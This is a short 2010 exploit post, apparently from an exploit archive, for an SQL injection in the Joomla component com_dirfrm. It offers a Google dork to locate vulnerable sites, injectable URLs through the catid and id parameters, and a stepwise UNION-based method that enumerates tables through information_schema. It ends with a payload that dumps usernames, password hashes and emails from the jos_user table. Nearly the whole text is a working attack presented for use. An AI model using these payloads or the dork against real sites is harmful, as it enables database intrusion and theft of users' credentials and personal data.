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Joomla Component com_dirfrm Sql Injection Vulnerability

Posted on 18 August 2010

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Joomla Component com_dirfrm Sql Injection Vulnerability
=======================================================

# Author : Hieuneo (Vietnam)
# Version : All Versions
# Tested on : Win 7 Home
 
###############################################
Dork google: inurl:&quot;com_dirfrm&quot;
###############################################
Exploit:
http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=[SQL
Injection]&amp;id=8&amp;Itemid=32
or
http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=1&amp;id=[SQL
Injection]&amp;Itemid=32
###############################################
[SQL Injection]:
-&gt; Step1:
- order by n--- False
- order by n+1-- True
 
-&gt; Step2:null  Union select 1,2,3,4,...,n+1--
Eg: http://site.com/path/index.php?option=com_dirfrm&amp;task=listAll&amp;catid=1&amp;id=null
union select 1,2,3,4,5,6,7,8,9,10--&amp;Itemid=32
 
-&gt; Step3: replace display number on website
version(), user(), database
#if version SQL &gt;=5 : try exploit with table system:
___table_name from information_scheama.tables where table_schema=database()--
___column_name form information_schema.columns where table_name=Char(name table)
#if version SQL &lt;5: try exploit with blind SQL, blind table_name and column_name
 
-&gt; Step 4: collecting information
 
null union select 1,2,3,concat_ws(0x7c,username,password,email) from jos_user--
 
Done!
#############Hieuneo@VBF################
--
Hieuneo


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